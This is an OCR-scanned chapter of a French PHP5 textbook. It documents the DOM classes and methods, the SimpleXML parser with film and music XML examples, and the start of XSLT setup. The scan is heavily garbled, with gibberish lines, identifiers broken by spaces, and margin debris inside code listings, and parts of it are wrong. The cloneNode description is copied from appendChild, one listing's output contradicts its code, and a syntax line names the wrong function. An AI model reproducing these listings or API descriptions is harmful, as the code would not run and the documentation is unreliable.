$espaceNoms, String $nom) 


boolean 


Retourne TRUE si I'attribut 
de nom $nom existe dans 
I'espace de nom specifie. 


removeAttribute (String $nom) boolean 


Retire I'attribut de nom 
$nom. 
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Attribut 


Type 


Definition 


removeAttributeNode (DOMNode 
$nom) 


boolean 


Retire I'attribut de nom 
$nom. 


y pm nvpAf fri V~n 1 1~ pT\T S ( ^ t~ r i nrr 
$espaceNoms, String $nom) 


boolean 


Retire 1'attribut de nom 
$nom dans I'espace de 
noms. 


setAttribute (String $nom, 
String $valeur) 


boolean 


Cree ou met a jour 
I'attribut $nom avec la 
valeur $valeur. 


setAttributeNode (DOMAttr 
$attribut) 


boolean 


Ajoute I'attribut $attribut. 


setAttributeNodeNS (DOMAttr 
$attribut) 


boolean 


Ajoute I'attribut $attribut. 


setAttributeNS (String 
$espaceNoms, String $nom, 
String $valeur) 


void 


Cree ou met a jour 
I'attribut $nom avec la 
valeur $valeur dans 



I'espace de noms specifie. 



Tableau 15.6: Classe DOMAttr 



Attribut 


Type 


Definition 


name 


String 


Nom de I'attribut. 


specified 


Boolean 




value 


String 


Valeur de I'attribut. 


owner Element 


DOMEIement 


Element auquel est rattache I'attribut. 


schemaTypelnf o 


String 




isld() 


boolean 


Renvoi TRUE si I'attribut est un identifiant selon les 
specifications DOM. (Defini en tant que tel dans la 
DTD) 


Tableau 15.7 : Classe DOMText heritante de DOMNode 


Attribut 


Type 


Definition 


wholeText 


String 




isWhitespacelnElement boolean 
Content ( ) 


Renvoi TRUE si les espaces font parti du 
contenu. 
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Attribut Type Definition 

spiitText (integer DOMText "Casse" le noeud en deux a I'indice 

$index) specifie le noeud sur lequel est appele 

cette fonction contient alors la premiere 
partie tandis que la seconde partie est 
retournee. 



Creer ou modifier un arbre DOM 

Pour creer un arbre il faut d'abord creer un 

$document = new DOMDocument ( ) ) 



objet de type DOMDocument. (par exemple: 



DOMDocument() 

Constructeur d'objet de type DOMDocument. 

Syntaxe DOMDocument DOMDocument ([String $versionXML] ) 

$ vers i onXML Version XML du document, 

retour Objet de type DOMDocument. 

A partir d'un document existant, il va falloir le charger en memoire, pour cela on utilise 

DOMDocument->load ( ) . 



DOMDocument->load () 

Permet de charger un fichier XML en memoire. Cette fonction peut aussi s'appeler 
statiquement. 

Syntaxe DOMDocument load (String $nomFichier) 

$nomFichier Nom du fichier a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 

Pour charger une chaine de caractere XML, autrement que dans un fichier, il faut faire appel 

a DOMDocument->loadxml ( ) . 
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DOMDocument->loadXml () 

Permet de charger une chaine de caracteres XML en memoire. Cette fonction peut aussi 
s'appeler statiquement. 

Syntaxe DOMDocument 1 oadXml (Stri ng $chaineXML) 

$chai neXML Chaine de caracteres a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 

Un fichier HTML est tres souvent mal forme, par exemple on y trouve des balises <br> (si ce 
n'est pas de l'XHTML) pour charger du HTML on utilise done 

DOMDocument->loadhtmlf ile ( ) et DOMDocument->loadhtml ( ) . 

DOMDocument->loadHTMLFile () 

Permet de charger un fichier HTML en memoire. Cette fonction peut aussi s'appeler 
statiquement. 

Syntaxe DOMDocument 1 oadHTMLFi 1 e(Stri ng $nomFi chi erHTML) 

$nomFi chi erHTML Nom du fichier HTML a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 
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DOMDocument->loadHTML () 



Permet de charger une chaine de caracteres HTML en memoire. Cette fonction peut aussi 
s'appeler statiquement. 

Syntaxe DOMDocument 1 oadHTML(Stri ng $chaineHTML) 

$chai neHTML Chaine de caracteres HTML a charger. 

retour Un nouveau DOMDocument si la fonction a ete appelee de maniere 

statique. 

Les quatre fonctions suivantes permettent la creation du XML (ou HTML) a partir de 
l'arbre DOM: 
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DOMDocument->save () 

Permet de sauvegarder l'arbre DOM dans un fichier. 

Syntaxe int save (String $nomFi chi er) 

$nomFi chi er Nom du fichier ou enregistrer l'arbre DOM. 

retour La taille en octets du fichier. 



DOMDocument->saveXML () 

Permet de creer la chaine XML correspondante a l'arbre DOM en memoire. 
Syntaxe String saveXML( [DOMNode $noeud]) 

$noeud Nceud parent du XML a extraire si Ton ne veut pas l'arbre entier. 

retour Chaine de caracteres XML. 



DOMDocument->saveHTMLFile () 

Permet de sauvegarder l'arbre DOM dans un fichier. 

Syntaxe String saveHTMLFi 1 e(Stri ng $nomFi chi er) 

$nomFi chi er Nom du fichier ou enregistrer l'arbre DOM. 

retour Chaine de caracteres HTML. 



DOMDocument->saveHTML () 

Permet de creer la chaine HTML correspondante a l'arbre DOM en memoire. 

Syntaxe String saveHTML() 

retour Chaine de caracteres HTML. 

A partir d'un tel document, il est possible de creer des instances d'objets constituant l'arbre. En 
voici les principales fonctions: 
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DOMDocument->createAttribute () 

Permet de creer un attribut. II faudra attacher cet attribut a un nceud en utilisant 

DOMNode->appendchild ( ) . 

Syntaxe DOMAttr createAttri bute(Stri ng $nomAttri but) 

$nomAttribut Nom de l'attribut. 

retour Un nouveau objet de type DOMAttr. FALSE en cas d'erreur 



DOMDocument->createAttributeNS() 



Permet de creer un attribut avec espace de noms. II faudra attacher cet attribut a un nceud en 
utilisant DOMNode->appendchild ( ) . 

Syntaxe DOMAttr createAttri buteNS (Stri ng $espaceNoms, String 

$nomAttri but) 

$espaceNoms Espace de noms 

$nomAttribut Nom de l'attribut. 

retour Un nouveau objet de type DOMAttr. FALSE en cas d'erreur 



DOMDocument->createCDATASection () 

Permet de creer une section CD ATA, ce type de section peut servir pour inclure des donnees 
XML encodees (Base64 est souvent utilise) ou simplement du texte qui pourrait nuire au 
fichier XML (car contenant des balises par exemple). II faudra attacher cet attribut a un nceud 
en utilisant DOMNode->appendchild( ) . 

Syntaxe DOMCDataSection createCDATASecti on (Stri ng $donnees) 

$donnees Donnees a mettre dans la section. 

retour Un nouveau objet de type DOMCDataSection. FALSE en cas d'erreur 



DOMDocument->createComment () 

Permet de creer une balise de commentaires (entre <!-- et ->. II faudra attacher cet attribut a un 

nceud en utilisant DOMNode->appendchild ( ) . 

Syntaxe DOMComment createComment (String $commentai res) 
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$commentai res Commentaires a ajouter. 

retour Un nouveau objet de type DOMComment. FALSE en cas d'erreur 



DOMDocument->createElement() 



Permet de creer un nouvel element. II faudra attacher cet attribut a un noeud en utilisant 

DOMNode->appendchild ( ) . 

Syntaxe DOMElement createElement(String $nomElement [, String 

$val eur] ) 

$nomElement Nom de la balise. 

$valeur Valeur de la balise 

retour Un nouveau objet de type DOMElement. FALSE en cas d'erreur 



DOMDocument->createElementNS () 



Permet de creer un nouvel element avec espace de noms. II faudra attacher cet attribut a un 
nosud en utilisant DOMNode->appendchild ( ) . 

Syntaxe DOMElement createEl ementNS (String $espaceNoms, String 

$nomEl ement) 

$espaceNoms Espace de noms 

$nomEl ement Nom de la balise. 

retour Un nouveau objet de type DOMElement. FALSE en cas d'erreur 



DOMDocument->createTextNode () 



Permet de creer un nouvel noeud texte. II faudra attacher cet attribut a un noeud en utilisant 

DOMNode->appendchild ( ) . 

Syntaxe DOMText createTextNode(Stri ng $texte) 

$texte Texte du noeud. 

retour Un nouveau objet de type DOMText. FALSE en cas d'erreur 

Voici un exemple d'arbre DOM construit puis affiche: 
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Listing 15.9 : dom_exemple_01.php 

<?php 

$doc = new DOMDocument () ; 

$html = $doc->createElement("HTML") ; 

$html = $doc->appendChi 1 d($html ) ; 

$head = $doc->createElement("HEAD") ; 

$head = $html ->appendChi 1 d ($head) ; 

$title = $doc->createElement("TITLE") ; 

$title = $head->appendChild($title); 

$titre = $doc->createTextNode("Titre du document HTML"); 

$titre = $title->appendChild($titre) ; 

$body = $doc->createElement("BODY") ; 

$body = $doc->appendChild($body) ; 

$comment = $doc->createComment("Comme en terre"); 

$comment = $body->appendChild($comment) ; 

echo $doc->saveHTML() ; 

?> 

Dont le resultat est: 

<HTM LxH E ADxT ITLE>T1tre du document HTML</TITLEx/HEADx/HTML> 
<BODYx!--Comme en terre--x/BODY> 

Le script est extremement simple a comprendre meme si nous n'avons pas encore vu la fonction 
appendchild ( ) qui ne fait qu'ajouter un noeud a un autre, ce nceud devenant done le fils du 
second. Les noeuds du document HTML sont crees un a un comme tout document HTML. La 
premiere balise est done <html> a laquelle on ajoute les balises <head> puis <body>, a la balise 
<head> on ajoute la balise <title> et a cette derniere on ajoute un noeud de type texte pour 
definir son contenu. Enfin on ajoute un commentaire a la balise <body>. 



CO 
CO 



S x 



Men a fermer 

^ Pour les personnes qui ne sont pas habitudes a manipuler des arbres DOM, vous 
REMARQUE remarquerez qu'il n'y a pas a "fermer" quoi que ce soit comme e'est le cas pour les 
balises. lei, tout fonctionne selon le principe d'imbrication d'elements. 

Nous venons de voir les principales fonctions relatives a l'objet DOMDocument, voici celles de 
DOMNode en debutant par celle certainement la plus usitee: DOMNode->appendchild( ) . 



DOMNode->appendChild () 



Ajoute un noeud enfant a un noeud existant. 

Syntaxe DOMNode appendChi Id (DOMNode $noeudEnfant) 

$noeudEnfant Noeud a ajouter au parent, 

retour L'objet parent modifie. 
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Pour, au contraire, retirer un nceud, on utilise DOMNode->removeChild ( ) et pour remplacer 
par un autre: DOMNode->replaceChild ( ) . 



DOMNode->removeChild () 

Retire un noeud de son parent. 

Syntaxe DOMNode removeChi 1 d(D0MNode $noeudEnfant) 

$noeudEnf ant Noeud a retirer du parent. 

retour L'ancien fils ou une erreur de type DOMException. 



DOMNode->replaceChild() 

Remplace un noeud fils par un autre. 

Syntaxe DOMNode replaceChi Id (DOMNode $ancienNoeud, DOMNode 

$nouveauNoeud) 

$anci enNoeud Noeud a remplacer. 

$nouveauNoeud Noeud remplagant. 

retour L'ancien fils ou une erreur de type DOMException. 

Cela peut servir de dupliquer un noeud pour cela il suffit d'utiliser DOMNode->cioneNode ( ) . 



DOMNode->cloneNode () 



Ajoute un noeud enfant a un noeud existant. >< =; 

S </)' 

r- as 

Syntaxe DOMNode cl oneNode( [bool ean $copi eProfondeur] ) 5- 

$copi eProfondeur Indique si le noeud doit etre copie avec ses enfants. (Non par defaut) a. 

CD 

retour Le noeud copie. 



Recuperer des donnees d'un arbre existant 

Recuperer des donnees d'un arbre DOM est bien plus simple que d'utiliser SAX. La fonction 
DOMElement->getElementsByTagName ( ) permet de retourner tous les noeud ayant le nom 
specifie. L'objet retourne est de type DOMNodeList qui est un objet tres simple avec length 
comme attribut qui retourne le nombre d'element et DOMNodeList->item( integer 
$i) comme fonction qui permet de retourner le i-eme element. 
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DOMElement->getElementsByTagName() 

Retourne une liste de noeud dont le nom est la chaine de caracteres passee en parametre a cette 
fonction. 

Syntaxe DOMNodeList getEl ementsByTagName(Stri ng $nom) 

$ n om Nom des noeuds a retourner. 

retour Une liste de noeuds ayant $nom comme nom. 

Afin de recuperer l'attribut d'un element, il existe la fonction DOMElement->getAttribute ( ) 
detaillee ci-dessous. 



DOMElement->getAttribute () 

Permet de recuperer la valeur d'un attribut. 

Syntaxe: String getAttri bute(Stri ng $nom) 

$ n om Nom de l'attribut a retourner 

retour Valeur de l'attribut. 

Pour recuperer une valeur on peut aussi utiliser son chemin XPath. 



TO 



s= x 



DOMXPath->query() 

Retourne la liste des noeuds correspondants a l'expression XPath fournie. 

Syntaxe: DOMNodelist query (String $xpath [, DOMNode $noeudRel ati f] ] 



$xpath Expression Xpath 



$noeudRel ati f Noeud de reference pour une expression XPath relative, 
retour Liste des noeuds 



/-yh XPath 

XPath est tres riche et n'est pas presente ici, mais si vous ne connaissez pas ces 
INTERNET expressions utiles pour f aire des recherches dans un document, je vous conseille 
vivement de jeter un oeil a: 
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INTERNET 



http:llxmlfr.org/w3clTR/xpath/ 

pour la documentation de reference traduite en frangais. 
http://www.zvon.org/xxl/XPathTutorial/General_fre/examples.html 

pour une aide rapide par Vexemple, ou encore le lien suivant qui met en parallele 
requites SQL et leur equivalent utilisant XPATH. 
http://www.fragbase.com/sql2xpath.php 



II y a bien d'autres fonctions comme presentees dans les tableaux succincts au debut de ce 
chapitre. Et comme un exemple vaut des pages d'explications, en voici un qui montre comment 
manipuler du XML grace a DOM. 



Exemples 

Reprenons l'exemple de la mediatheque du chapitre precedent dont le fichier s'appelait 
media.theque_01.xrnl. 



Listing 15.10 : dom_exemple_02.php 

<?php 

$doc = DomDocument: :load("mediatheque_01.xml ") ; 
$listeCD = $doc->getElementsByTagName("cdaudio") ; 
foreach($l isteCD as ScdAudio) { 

$interprete = $cdAudio->getAttribute("interprete") ; 

$1 i steChansons = $cdAudio->getElementsByTagName("chanson") ; 

echo "** $i nterprete\n" ; 

for ($i=0; $i<$l i steChansons->l ength; $i++) { 
$chanson = $1 i steChansons->i tem($i ) ; 

$ti tre = $chanson->getEl ementsByTagName("ti tre") ->i tem(O) ->nodeVal ue; 
echo " - $titre\n"; 



:> . 

r-; 
c" 

Dont le resultat attendu serait: X =■ 

3 55" 

** Noir Desir ~ 

o 

- L'enfant roi = 

- Le grand incendie 5" 

- Le vent nous portera 
** Placebo 

- Pure Morning 

- Without You I'm Nothing 

- Every You, Every Me 



Quelques explications de cet exemple: tout d'abord on recupere l'objet DOMDocument 
correspondant au fichier XML stocke sur le disque dur par un appel a la methode statique 
load( ) . Ensuite getElementsByTagName ( "cdaudio" ) permet de recuperer l'ensemble des 
balises "cdaudio" puis on boucle sur cette liste. Recuperer le nom de l'interprete revient a 
recuperer la valeur de l'attribut "interprete" de la balise "cdaudio". La liste des chansons du CD 
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est ensuite recuperee et ici j'ai volontairement change la facon d'iterer sur les chansons pour 
utiliser les methodes de DOMNodeList. 

Voici maintenant un court exemple de l'utilisation de XPath: 

Listing 15.11 : dom_exemple_03.php 

<?php 

$doc = DomDocument: :load("mediatheque_01.xml ") ; 
$xpath = new DOMXpath($doc) ; 
$1 i ste = $xpath->query("//titre") ; 
foreach ($1 i ste as $title) { 
echo $title->nodeVal ue. "\n" ; 

} 

?> 

Dont le resultat attendu serait: 

L' enfant roi 

Le grand incendie 

Le vent nous portera 

Pure Morning 

Without You I'm Nothing 

Every You, Every Me 

Voila pour l'analyse syntaxique utilisant DOM. Ci-apres est decrit en detail la toute nouvelle 
librairie de PHP5 appelee SimpleXML, elle permet de simplifier l'analyse syntaxique d'un 
document XML. Jetez-y au moins un ceil et vous vous rappellerez pourquoi vous aimez autant 
le PHP. 



CO 
CO 



S x 



Le parseur SimpleXML 



Si libXML est installe alors le parseur SimpleXML est probablement active, vous pouvez le 
verifier en jetant un ceil aux informations affichees par phpinf o ( ) . 



SimpleXML 


Simplexml support 


enabled 


Revision 


^Revision; 1.139 $ 


Schema support 


enabled 



Figure 15.4 : 

phpinf o QSimpleXML 



SimpleXML est integre a PHP depuis la version 5, cette librairie basee sur libxml a pour objectif 
de simplifier l'analyse syntaxique d'un document XML. II est ainsi possible en quelques lignes 
d'acceder a tout element d'un document XML. 



SimpleXML n'est ni plus ni moins qu'un analyseur DOM simplified 
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Exemples 

Voici tout d'abord quelques exemples pour voir le fonctionnement de cette bibliotheque. Le 
document a analyser sera le suivant pour tous les exemples qui suivent et est representatif de ce 
que Ton pourrait avoir pour une videotheque : 

Listing 15.12 : videotheque.xml 

<?xml version="1.0" standalone="yes" ?> 
<videotheque> 
<film imdb="0378194"> 

<titre>Kill Bill: Vol. 2</titre> 
<real i sateur>Quentin Tarantino</real i sateur> 
<genres> 
<genre>acti on</genre> 
<genre>drama</genre> 
<genre>thri 1 1 er</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Uma Thurman</nom> 
<role>The Bride (Black Mamba)</rol e> 
</acteur> 
<acteur> 
<nom>David Carradine</nom> 
<role>Bill (Snake Charmer)</rol e> 
</acteur> 
</acteurs> 
</f i lm> 

<film imdb="0070356"> 
<titre>Mais ou est done passee la septieme compagnie ?</titre> 
<real i sateur>Robert Lamoureux</real i sateur> 
<genres> 
<genre>war</genre> 
<genre>acti on</genre> 
<genre>comedy</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Jean Lefebvre</nom> 
<rol e>Pi ti vi er</rol e> 
</acteur> 
<acteur> 
<nom>Pierre Mondy</nom> 
<rol e>Sergent Chaudard</rol e> 
</acteur> 
</acteurs> 
</f i lm> 
</videotheque> 

Le premier exemple montre comment recuperer un element du document XML, ici le titre du 
premier film, le titre du second film et le nom du deuxieme acteur du second film. Plusieurs 
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facons d'acceder a ses donnees sont presentees, en effet, l'indice du tableau n'est pas 
obligatoire quand on veut acceder au premier element, c'est particulierement utile lorsqu'il n'y 
a qu'un element comme "titre", "realisateur", "genres"... 

Listing 15.13 : parse_videotheque_1 .php 

<?php 

$xml = simpl exml_l oad_fi 1 e("vi deotheque.xml ") ; 
echo $xml->film[0]->titre[0]."\n<br />"; 
echo $xml ->fi lm->titre. "\n<br />"; 
echo $xml->film[l]->titre."\n<br />"; 

echo $xml->film[l]->acteurs[0]->acteur[l]->nom."\n<br />"; 
echo $xml ->fi lm[l] ->acteurs->acteur [1] ->nom. "\n<br />"; 
?> 

En sortie nous avons done: 

Kill Bill: Vol. 2 
Kill Bill: Vol. 2 

Mais ou est done passee la septieme compagnie ? 
Pierre Mondy 
Pierre Mondy 

En fait, pour bien comprendre la structure de l'objet $xml, faisons le afficher: 

Listing 15.14 : parse_videotheque_2.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("vi deotheque.xml ") ; 
pn'nt_r($xml ) ; 

?> 

Et le resultat: 

Simpl eXMLElement Object 
( 

[film] => Array 
( 

[0] => Simpl eXMLElement Object 
( 

[titre] => Kill Bill: Vol. 2 
[realisateur] => Quentin Tarantino 
[genres] => Simpl eXMLElement Object 
( 

[genre] => Array 
( 

[0] => action 
[1] => drama 
[2] => thriller 

) 

) 
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[acteurs] => Simpl eXMLEl ement Object 
( 

[acteur] => Array 
( 

[0] => Simpl eXMLEl ement Object 
( 

[nom] => lima Thurman 

[role] => The Bride (Black Mamba) 

) 

[1] => Simpl eXMLEl ement Object 
( 

[nom] => David Carradine 
[role] => Bill (Snake Charmer) 

) 

) 

) 

) 

[1] => Simpl eXMLEl ement Object 
( 

[titre] => Mais ou est done passee la septieme compagnie ? 
[real isateur] => Robert Lamoureux 
[genres] => Simpl eXMLEl ement Object 
( 

[genre] => Array 
( 

[0] => war 
[1] => action 
[2] => comedy 

) 

) 

[acteurs] => Simpl eXMLEl ement Object 
( 

[acteur] => Array 
( 

[0] => Simpl eXMLEl ement Object 
( 

[nom] => Jean Lefebvre 
[role] => Pitivier 

) 

[1] => Simpl eXMLEl ement Object 
( 

[nom] => Pierre Mondy 
[role] => Sergent Chaudard 

) 

) 

) 

) 

) 

) 

Ce resultat nous apprend deux choses, d'une part, qu'il est facile d'acceder a n'importe quelle 
entite car la structure n'est ni plus moins qu'un tableau, et d'autre part, on apprend que dans le 
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cas d'un document XML imposant que la place memoire occupee par ce tableau sera immense 
et done simpleXML ne sera pas adapte pour de larges fichiers XML (De meme que DOM). 

Connaissant la structure de l'objet $xml, toute folie est desormais possible, par exemple lister 
les films ou les acteurs d'un film et desormais tres facile, la preuve ci-apres. 

Listing 15.15 : parse_videotheque_3.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("vi deotheque.xml ") ; 
foreach ($xml->film as $f i 1m) { 

echo "* " .$f i lm->ti tre. "\n<br />"; 

foreach ($fi lm->acteurs->acteur as $acteur) { 

echo " - " .$acteur->nom. " joue dans le role de " .$acteur->rol e. "\n<br />"; 

} 

} 

?> 

qui a pour resultat: 

* Kill Bill: Vol. 2 

- lima Thurman joue dans le role de The Bride (Black Mamba) 

- David Carradine joue dans le role de Bill (Snake Charmer) 

* Mais ou est done passee la sept i erne compagnie ? 

- Jean Lefebvre joue dans le role de Pitivier 

- Pierre Mondy joue dans le role de Sergent Chaudard 

Simple mais nous n'avons pas vu comment recuperer un attribut. imdb est le numero de film 
sachant que chaque film possede un numero unique attribue par un organisme. On peut vouloir 
recuperer le numero imdb du premier film, ou mieux encore, recuperer le titre du film dont on 
connait le numero. Voici comment il est possible de proceder : 

Listing 15.16 : parse_videotheque_4.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("vi deotheque.xml ") ; 

echo "Numero imdb du premier film: " .$xml ->f i lm[0] [' imdb 1 ] . "\n<br />"; 
echo "Numero imdb du second film: " .$xml ->f i lm[l] [ ' imdb 1 ] . "\n<br />"; 
foreach ($xml->film as $film) { 
if ((string) ($film[' imdb'] ) =="0378194") 
echo "Titre du film ayant 0378194 comme numero: ".$film->titre."\n<br />"; 

} 

?> 

Le resultat obtenu : 

Numero imdb du premier film: 0378194 
Numero imdb du second film: 0070356 

Titre du film ayant 0378194 comme numero: Kill Bill: Vol. 2 

En conclusion, recuperer un attribut n'est pas plus complique. 
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SimpleXML ne manque pas de gene et se permet meme d'utiliser les expressions XPath pour 
faire des recherches dans le document, pour cela il faut faire appel a la fonction xpath ( ) de 
l'objet SimpleXML. 

XPath est un ensemble de commandes de recherche tres complet quoique rebutant au 
premier abord. 



yjk XPath 

Presenter XPath ici serait trop long mats si vous ne connaissez pas ces expressions 
INTERNET utiles pour faire des recherches dans un document, je vous conseille vivement de jeter 
un ceil a: 

http://xmlfr.org/w3c/TRIxpathl 

pour la documentation de reference traduite en frangais 
http://www.zvon.org/xxl/XPathTutorial/General_fre/examples.html 

pour une aide rapide par I'exemple, ou encore le lien suivant qui met en parallele 
requites SQL et leur equivalent utilis ant XPATH. 
http://www.fragbase.com/sql2xpath.php 



L'exemple que nous avons pris etant simple, il ne va pas etre facile de montrer les capacites de 
Xpath. Recuperer la liste des acteurs se fait tres facilement en ecrivant: 



Listing 15.17 : parse_videotheque_5.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("videotheque.xml ") ; 
foreach ($xml->xpath('//acteur') as $acteur) { 
echo $acteur->nom. "\n<br />"; 

} 

?> 



Qui donne: 

Uma Thurman " 

David Carradine = " 

Jean Lefebvre || =j 

Pierre Mondy i— S 

o' 

Recuperer le film dont l'imdb est 0378194 se fait facilement egalement: n. 



Listing 15.18 : parse_videotheque_6.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("videotheque.xml ") ; 
$film = $xml->xpath(7/film[@imdb=0378194] '); 
echo $f i lm[0] ->ti tre; 

?> 
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Qui donne: 

Kill Bill: Vol. 2 

API 

Nous avons vu tres peu de fonctions dans les exemples precedents (deux pour etre exact) mais 
nous pouvons deja faire beaucoup. II est possible d'analyser un fichier XML ou une chaine de 

caracteres XML avec simplexml_load_f ile ( ) et simplexml_load_string ( ) 

respectivement. 

simplexml_load_file () 

Transforme le fichier XML en objet facilement manipulable. 

Syntaxe Simpl eXMLEl ement simpl exml_l oad_f i 1 e(stri ng $nomFichier) 

$nomFichier Nom du fichier a charger. 

retour Objet de type SimpleXMLElement facilement manipulable. 

simplexml_load_string () 

Transforme la chaine de caracteres XML en objet facilement manipulable. 

Syntaxe SimpleXMLElement simpl exml_l oad_fi 1 e(stri ng $chaineXML) 

$chai neXML Chaine de caracteres XML a charger. 

retour Objet de type SimpleXMLElement facilement manipulable. 

II est egalement possible de recuperer un objet SimpleXMLElement a partir d'un arbre DOM. 



simplexml_import_dom () 

Retourne un objet SimpleXMLElement a partir d'un arbre DOM. 

Syntaxe SimpleXMLElement simpl exml_import_dom(domNode $noeudD0M) 

$noeudD0M Nceud recupere par la methode d'analyse syntaxique DOM. 

retour Objet de type SimpleXMLElement facilement manipulable. 

Comme vu dans les exemples, xpath ( ) est une fonction qui s'applique a un objet de type 
SimpleXMLElement obtenu par une des trois fonctions precedentes. 
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SimpleXMLElement->xpath () 

Retourne un tableau d'objet de type SimpleXMLElement correspondant a la recherche XPath. 

Syntaxe array [Simpl eXMLEl ement] xpath (string $xpath) 

$requete Requete XPath. 

retour Tableau d'objets SimpleXMLElement. 



SimpleXMLElement->children () 

Retourne un objet de type SimpleXMLElement correspondant aux enfants du noeud courant. 

Syntaxe SimpleXMLElement childrenQ 

retour Un objet de type SimpleXMLElement. 

Cette derniere fonction permet de recuperer les "enfants" d'un noeud, voici un exemple 
d'utilisation: 

Listing 15.19 : parse_videotheque_7.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("videotheque.xml ") ; 
foreach ($xml -> children() as $test) { 
echo $test->titre."\n<br />"; 

} 

?> 

Dont le resultat attendu est bien evidement: 
Kill Bill: Vol. 2 

Mais ou est done passee la septieme compagnie ? 



SimpleXMLElement->attributes () 

Retourne un objet de type SimpleXMLElement correspondant aux attributs du noeud courant. 

Syntaxe SimpleXMLElement attributes () 

retour Un objet de type SimpleXMLElement. 

Voici un court exemple d'utilisation: 
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Listing 15.20 : parse_videotheque_8.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("vi deotheque.xml ") ; 
foreach ($xml->film[0]->attributes() as $attribut => $valeur) { 
echo $attribut."=".$valeur."\n<br />"; 

} 

?> 

Dont le resultat attendu est: 
iindb=0378194 

Bien entendu, rien n'empeche de modifier les objets simpleXMLElement. Mais une fois 
modifies, on peut vouloir recuperer le contenu de ces objets en format XML pour l'ecrire par 
exemple dans un fichier. Pour cela, il suffira alors d'utiliser la fonction asXML ( ) qui s'applique 

a un objet de type simpleXMLElement. 



SimpleXMLElement->asXML () 

Retourne une chaine de caracteres XML valide representant l'objet simpleXMLElement. 

Syntaxe string asXML() 

retour Une chaine XML 

Listing 15.21 : parse_videotheque_9.php 

<?php 

$xml = simpl exml_l oad_fi 1 e("vi deotheque.xml ") ; 
$xml->film[0]->titre = "Kill Bill Volume 2"; 
echo $xml ->asXML() ; 

?> 

Et en retour on a le XML modifie (le titre de Kill Bill: Vol. 2 a ete subtilement modifie)" 

<?xml version="1.0" standal one="yes"?> 
<vi deotheque> 
<film imdb="0378194"> 
<titre>TITRE</titre> 

<real i sateur>Quenti n Tarantino</real i sateur> 
<genres> 
<genre>acti on</genre> 
<genre>drama</genre> 
<genre>thri 1 1 er</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Uma Thurman</nom> 
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<role>The Bride (Black Mamba)</rol e> 
</acteur> 
<acteur> 
<nom>David Carradine</nom> 
<role>Bill (Snake Charmer)</rol e> 
</acteur> 
</acteurs> 
</f ilm> 

<film imdb="0070356"> 
<titre>Mais ou est done passee la septieme compagnie ?</titre> 
<real i sateur>Robert Lamoureux</real i sateur> 
<genres> 
<genre>war</genre> 
<genre>acti on</genre> 
<genre>comedy</genre> 
</genres> 
<acteurs> 
<acteur> 
<nom>Jean Lefebvre</nom> 
<rol e>Pi ti vi er</rol e> 
</acteur> 
<acteur> 
<nom>Pierre Mondy</nom> 
<rol e>Sergent Chaudard</rol e> 
</acteur> 
</acteurs> 
</f ilm> 
</videotheque> 

Et voila pour la bibliotheque simpleXML, en tout et pour tout il y a sept fonctions utiles vous 
permettant de lire/modifier de petits documents XML tres simplement ! 



15.4. XSLT p, 

r— 

Presentation § I 

r- 01 

La transformation XSL s'appuie sur un fichier decrivant ce que la transformation doit ~ 

retourner lorsque telle ou telle balise est rencontree. Nous supposerons ici que vous etes 

familier avec ce genre de transformation. cd 




XML, XSL 

Vous trouverez plus conformations sur XML et la XSL, sur le site : 



INTERNET xmllacile.com 

sans oublierla reference (en anglais) : 
http://www.w3.org/Style/XSL/ 
et sa traduction : 
http://www.xmlfr.org/w3c/TR/xslt/ 
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Par la suite, a titre d'exemple, nous utiliserons la feuille de styles suivante : 

Listing 15.22 : mediatheque_01.xsl 

<?xml version="1.0" encoding="IS0-8859-l" ?> 

<xsl : transform xmlns:xsl =" http://www.w3.org/1999/XSL/Transform" version="1.0"> 
<xsl:output method="html " /> 

<xsl :template match="/"> 
<html> 
<body> 

<xsl :apply-templ ates /> 
</body> 
</html> 
</xsl : tempi ate> 

<xsl :template match="mediatheque"> 

<hl>Contenu de la medi atheque</hl> 

<table border="l"> 

<xsl :apply-templates select="cdaudio" /> 

</tabl e> 
</xsl : tempi ate> 

<xsl :template match="cdaudio"> 

<trxtd colspan="2" bgcolor="#BBBBFF"> 

<bxxsl :val ue-of select="@interprete" /></b> 
</tdx/tr> 

<trxtd colspan="2" bgcol or="#DDDDFF"> 

<bxixxsl :val ue-of select="@titre" /x/ix/b> 
</tdx/tr> 

<xsl :apply-templ ates sel ect="chanson" /> 
</xsl : tempi ate> 

« <xsl :template match="chanson"> 

c <tr> 

S <tdxxsl :apply-templ ates sel ect="ti tre" /x/td> 

S g <tdxxsl :apply-templ ates sel ect="duree" /x/td> 

i| X </tr> 

Li </xsl : tempi ate> 

in 

<xsl :template match="ti tre"> 

<xsl :val ue-of select="text() " /> 
</xsl : tempi ate> 

<xsl :template match="duree"> 

<xsl :value-of select="text() " /> 
</xsl : tempi ate> 

<xsl :templ ate match="*"> 
</xsl : tempi ate> 

</xsl :transform> 



1242 



XSLT 



Les transformations de documents XML 
La bibliotheque XSL 

*£§ PHP4 

' ^ Cette bibliotheque a ete introduite dans la version 5 de PHP, elle n'est done pas 
REM ARQ JE disponible pour PHP4. Vous devrez done dans ce cas utiliser la bibliotheque XSLT 
decrite plus loin. 



Erreur dejeunesse ? 

~ Cette bibliotheque PHP etant recente, elle peut etre amende a evoluer et est done 

REMARQUE marquee comme etant experimental . 



Installation 

Sous Windows 

Que ce soit avec l'archive de PHP Group ou avec EasyPHP, vous devrez vous assurer que vous 
possedez bien un fichier php_xsl.dll dans le repertoire des extensions PHP. II vous suffit alors 
d'ajouter au fichier php.ini ou de decommenter une ligne 

extension=php_xsl .dl 1 

Sous Linux 

II vous faut d'abord recuperer et installer la bibliotheque libxslt disponible a l'adresse 
ftp://xmlsoft.org comme indique sur http://xmlsoft.org/XSLT. en tapant les commandes desormais 
habituelles: 

CJ1 

# tar zxvf 1 ibxsl t-1. 1. 10.tar.gz J_ 

# ./configure --prefix=/usr/local c 

# make ^ =j 

# make i nstal 1 i— S 



Probleme de compilateur (fails sanity check) 

